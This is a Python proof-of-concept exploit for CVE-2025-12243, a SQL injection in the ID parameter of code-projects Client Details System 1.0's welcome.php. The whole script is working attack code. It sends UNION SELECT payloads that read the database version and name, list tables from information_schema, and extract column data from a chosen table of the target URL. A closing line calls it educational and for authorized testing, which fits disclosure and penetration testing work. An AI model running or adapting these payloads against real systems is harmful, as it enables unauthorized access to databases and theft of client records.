import requests
import sys
# CVE-2025-12243 SQL Injection PoC
# Target: code-projects Client Details System 1.0
# Component: clientdetails/welcome.php
# Parameter: ID (GET)
def exploit_sqli(url, payload):
"""
Exploit SQL injection vulnerability in welcome.php
"""
target_url = f"{url}/clientdetails/welcome.php"
params = {'ID': payload}
try:
response = requests.get(target_url, params=params, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def get_db_version(url):
"""
Extract database version using UNION-based injection
"""
payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL---"
result = exploit_sqli(url, payload)
if result and 'version' in result.lower():
print("[+] Database version extracted successfully")
return result
def get_db_name(url):
"""
Extract current database name
"""
payload = "1' UNION SELECT NULL,database(),NULL,NULL,NULL---"
return exploit_sqli(url, payload)
def get_tables(url):
"""
Extract table names from information_schema
"""
payload = "1' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()---"
return exploit_sqli(url, payload)
def get_columns(url, table_name):
"""
Extract column names from specified table
"""
payload = f"1' UNION SELECT NULL,group_concat(column_name),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='{table_name}'---"
return exploit_sqli(url, payload)
def extract_data(url, table_name, columns):
"""
Extract sensitive data from target table
"""
cols = ','.join(columns)
payload = f"1' UNION SELECT NULL,group_concat({cols}),NULL,NULL,NULL FROM {table_name}---"
return exploit_sqli(url, payload)
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2025-12243.py <target_url>")
print("Example: python cve-2025-12243.py http://localhost/client-details-system")
sys.exit(1)
base_url = sys.argv[1].rstrip('/')
print("[*] Starting CVE-2025-12243 SQL Injection Exploitation")
print(f"[*] Target: {base_url}")
# Step 1: Detect vulnerability
print("\n[1] Detecting SQL injection vulnerability...")
test_payload = "1' AND 1=1---"
exploit_sqli(base_url, test_payload)
# Step 2: Enumerate database information
print("\n[2] Extracting database information...")
get_db_version(base_url)
get_db_name(base_url)
# Step 3: Enumerate tables
print("\n[3] Enumerating database tables...")
get_tables(base_url)
print("\n[!] Manual verification required for data extraction")
print("[!] This PoC is for educational and authorized testing purposes only")
if __name__ == "__main__":
main()